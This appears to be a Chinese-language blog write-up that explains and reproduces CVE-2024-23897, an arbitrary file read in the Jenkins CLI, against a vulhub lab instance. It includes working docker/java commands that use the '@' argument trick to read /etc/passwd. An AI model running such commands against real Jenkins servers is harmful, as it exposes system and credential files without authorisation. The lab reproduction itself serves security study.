CVE-2024-23897

Jenkins CLI 接口任意文件读取漏洞(CVE-2024-23897)

概述

Jenkins 是一个开源的 持续集成和持续交付(CI/CD) 工具,用于自动化软件开发过程中的构建、测试、部署等任务。它通过插件化的架构支持广泛的功能扩展,是 DevOps 实践中的核心工具之一。

Jenkins 提供了一个 命令行界面(CLI),用户可以下载该客户端 jenkins-cli.jar 到本地,并调用该客户端来执行一些 Jenkins 的命令。

Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本,Jenkins 在处理 CLI 命令时,命令行是传到服务端解析的,同时服务器使用 args4j 库 来解析 Jenkins 主服务器上的命令参数和选项。但此命令解析器具有一项功能,如果一个参数是以 @ 开头,那么这个参数就会被认为是一个文件名,文件内容会被作为参数而读取,同时该功能是默认开启的,所以可以允许未授权的攻击者读取 Jenkins 控制器文件系统上的任意文件。

参考文章:https://www.freebuf.com/articles/neopoints/391038.html

漏洞复现

靶场:vulhub/jenkins/CVE-2024-23897

该脚本需利用官方提供的命令行客户端。

访问如下路径,下载命令行客户端。

http://192.168.43.50:8081/jnlpJars/jenkins-cli.jar

此时利用客户端进行获取信息。

该客户端需要使用 JDK11 方可运行。

此处使用 docker 运行 JDK11。

 docker run --rm -v $(pwd):/tmp openjdk:11.0.1-jre bash -c "cd /tmp && java -jar jenkins-cli.jar -s http://192.168.43.50:8081/ -http help 1 @/etc/passwd"

image-20250808221854920

因为靶场开启了 匿名用户可读选项,可以使用 connect-node命令读取完整内容。

docker run --rm -v $(pwd):/tmp openjdk:11.0.1-jre bash -c "cd /tmp && java -jar jenkins-cli.jar -s http://192.168.43.50:8081/ -http connect-node @/etc/passwd"

image-20250808221623658

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇